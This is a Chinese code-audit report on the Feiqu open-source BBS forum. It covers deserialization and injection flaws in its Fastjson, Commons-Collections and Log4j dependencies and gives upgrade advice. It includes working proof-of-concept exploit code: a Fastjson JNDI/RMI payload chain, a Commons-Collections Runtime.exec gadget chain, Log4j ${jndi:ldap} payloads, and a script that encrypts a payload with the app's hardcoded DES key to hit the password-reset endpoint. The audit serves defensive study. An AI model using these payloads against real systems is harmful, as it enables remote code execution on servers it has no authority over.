飞趣开源BBS代码审计-JAVA
字数 1514 2025-08-29 08:32:18

飞趣开源BBS代码审计报告(JAVA版)

1. 环境部署

飞趣BBS是一个基于SpringBoot搭建的开源论坛系统,源码可在Gitee获取。根据README.md文件,可以将其导入IDEA进行环境搭建。

项目目录结构:

  • 主要功能集中在feiqu-front模块,包含所有控制器
  • 其他目录多为辅助性功能模块

2. 第三方组件漏洞审计

2.1 Fastjson反序列化漏洞

漏洞版本:1.2.28
漏洞验证

  1. 创建三个测试文件验证漏洞可利用性:

JNDIPayload.java

import java.io.IOException;
public class JNDIPayload {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {}
    }
}

JNDIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exploit", "JNDIPayload", "http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit", referenceWrapper);
    }
}

JNDIClient.java

import com.alibaba.fastjson.JSON;
public class JNDIClient {
    public static void main(String[] args){
        String text = "{\n" +
                " \"a\": {\n" +
                " \"@type\": \"java.lang.Class\", \n" +
                " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
                " }, \n" +
                " \"b\": {\n" +
                " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
                " \"dataSourceName\": \"rmi://127.0.0.1:1099/Exploit\", \n" +
                " \"autoCommit\": true\n" +
                " }\n" +
                "}";
        JSON.parseObject(text);
    }
}
  1. 验证步骤:
    • 开启Python HTTP服务:python -m http.server 8000
    • 启动JNDIServer
    • 运行JNDIClient
    • 成功触发计算器弹出,证明漏洞存在

实际利用分析

  • 查找路由/u/{uid}/home,发现存在JSON.parseObject调用
  • redisString.get()返回数据为null(key为thought_top_list
  • 发现置顶"想法"会被设置到redis的thought_top_list
  • 即使获取到redis值,内容也不可控,无法利用

2.2 Commons-Collections反序列化漏洞

漏洞版本:3.2.1
漏洞验证

CcSerial.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CcSerial {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", 
                    new Class[]{String.class, Class[].class}, 
                    new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", 
                    new Class[]{Object.class, Object[].class}, 
                    new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", 
                    new Class[]{String.class}, 
                    new String[]{"calc.exe"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry mapEntry = new TiedMapEntry(outerMap, null);
        Map expMap = new HashMap();
        expMap.put(mapEntry, null);
        setFieldValue(chainedTransformer, "iTransformers", transformers);
        innerMap.clear();
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(barr);
        out.writeObject(expMap);
        out.close();
        
        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        in.readObject();
        in.close();
    }
    
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

实际利用分析

  • 项目中仅发现一处readObject调用
  • 但无调用该方法的地方,无法利用

2.3 Log4j JNDI注入漏洞

漏洞版本:2.11.2
漏洞验证

Log4jTest.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(Log4jTest.class);
        logger.error("${jndi:ldap://rzepki.dnslog.cn}");
    }
}

实际利用分析

  1. UserController.java中找到可利用点:

    • 方法:resetPass
    • 关键参数:keypasswordverifyCode
    • key会被解密后赋值给username
  2. 加密流程分析:

    • key首先被Base64解码
    • 然后使用DES解密(密钥为cwd22
    • 解密后赋值给username
  3. 漏洞利用步骤:

    • 使用encryptString方法加密Log4j的Exp
    • 本地开启JNDI注入工具(如JNDI-Injection-Exploit)
    • 生成恶意key的脚本:
public static void main(String[] args) throws Exception {
    Key key = null;
    String keyStr = "cwd22";
    String desKey = Base64.encode(keyStr.getBytes("UTF-8"));
    DESKeySpec objDesKeySpec = new DESKeySpec(desKey.getBytes("UTF-8"));
    SecretKeyFactory objKeyFactory = SecretKeyFactory.getInstance("DES");
    key = objKeyFactory.generateSecret(objDesKeySpec);
    
    String str = "${jndi:ldap://127.0.0.1:1389/riv58u}";
    byte[] bytes = str.getBytes();
    Cipher cipher = Cipher.getInstance("DES");
    cipher.init(Cipher.ENCRYPT_MODE, key);
    byte[] encryptStrBytes = cipher.doFinal(bytes);
    String s = Base64.encode(encryptStrBytes);
    System.out.println(s);
}
  1. 构造请求参数提交,成功触发漏洞

3. 漏洞修复建议

  1. Fastjson

    • 升级到最新安全版本(≥1.2.83)
    • 使用SafeMode或配置ParserConfig.getGlobalInstance().setSafeMode(true)
  2. Commons-Collections

    • 升级到3.2.2或更高版本
    • 使用SerializationKiller等防护工具
  3. Log4j

    • 升级到2.17.1或更高版本
    • 设置JVM参数:-Dlog4j2.formatMsgNoLookups=true
    • 移除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

4. 总结

本次审计发现了三个潜在的安全漏洞:

  1. Fastjson 1.2.28反序列化漏洞 - 实际利用受限
  2. Commons-Collections 3.2.1反序列化漏洞 - 无直接利用点
  3. Log4j 2.11.2 JNDI注入漏洞 - 可实际利用

最严重的漏洞是Log4j的JNDI注入,可通过UserController#resetPass方法触发,建议优先修复。

飞趣开源BBS代码审计报告(JAVA版) 1. 环境部署 飞趣BBS是一个基于SpringBoot搭建的开源论坛系统,源码可在Gitee获取。根据README.md文件,可以将其导入IDEA进行环境搭建。 项目目录结构: 主要功能集中在 feiqu-front 模块,包含所有控制器 其他目录多为辅助性功能模块 2. 第三方组件漏洞审计 2.1 Fastjson反序列化漏洞 漏洞版本 :1.2.28 漏洞验证 : 创建三个测试文件验证漏洞可利用性: JNDIPayload.java : JNDIServer.java : JNDIClient.java : 验证步骤: 开启Python HTTP服务: python -m http.server 8000 启动JNDIServer 运行JNDIClient 成功触发计算器弹出,证明漏洞存在 实际利用分析 : 查找路由 /u/{uid}/home ,发现存在 JSON.parseObject 调用 但 redisString.get() 返回数据为null(key为 thought_top_list ) 发现置顶"想法"会被设置到redis的 thought_top_list 键 即使获取到redis值,内容也不可控,无法利用 2.2 Commons-Collections反序列化漏洞 漏洞版本 :3.2.1 漏洞验证 : CcSerial.java : 实际利用分析 : 项目中仅发现一处 readObject 调用 但无调用该方法的地方,无法利用 2.3 Log4j JNDI注入漏洞 漏洞版本 :2.11.2 漏洞验证 : Log4jTest.java : 实际利用分析 : 在 UserController.java 中找到可利用点: 方法: resetPass 关键参数: key 、 password 、 verifyCode key 会被解密后赋值给 username 加密流程分析: key 首先被Base64解码 然后使用DES解密(密钥为 cwd22 ) 解密后赋值给 username 漏洞利用步骤: 使用 encryptString 方法加密Log4j的Exp 本地开启JNDI注入工具(如JNDI-Injection-Exploit) 生成恶意key的脚本: 构造请求参数提交,成功触发漏洞 3. 漏洞修复建议 Fastjson : 升级到最新安全版本(≥1.2.83) 使用 SafeMode 或配置 ParserConfig.getGlobalInstance().setSafeMode(true) Commons-Collections : 升级到3.2.2或更高版本 使用 SerializationKiller 等防护工具 Log4j : 升级到2.17.1或更高版本 设置JVM参数: -Dlog4j2.formatMsgNoLookups=true 移除 JndiLookup 类: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 4. 总结 本次审计发现了三个潜在的安全漏洞: Fastjson 1.2.28反序列化漏洞 - 实际利用受限 Commons-Collections 3.2.1反序列化漏洞 - 无直接利用点 Log4j 2.11.2 JNDI注入漏洞 - 可实际利用 最严重的漏洞是Log4j的JNDI注入,可通过 UserController#resetPass 方法触发,建议优先修复。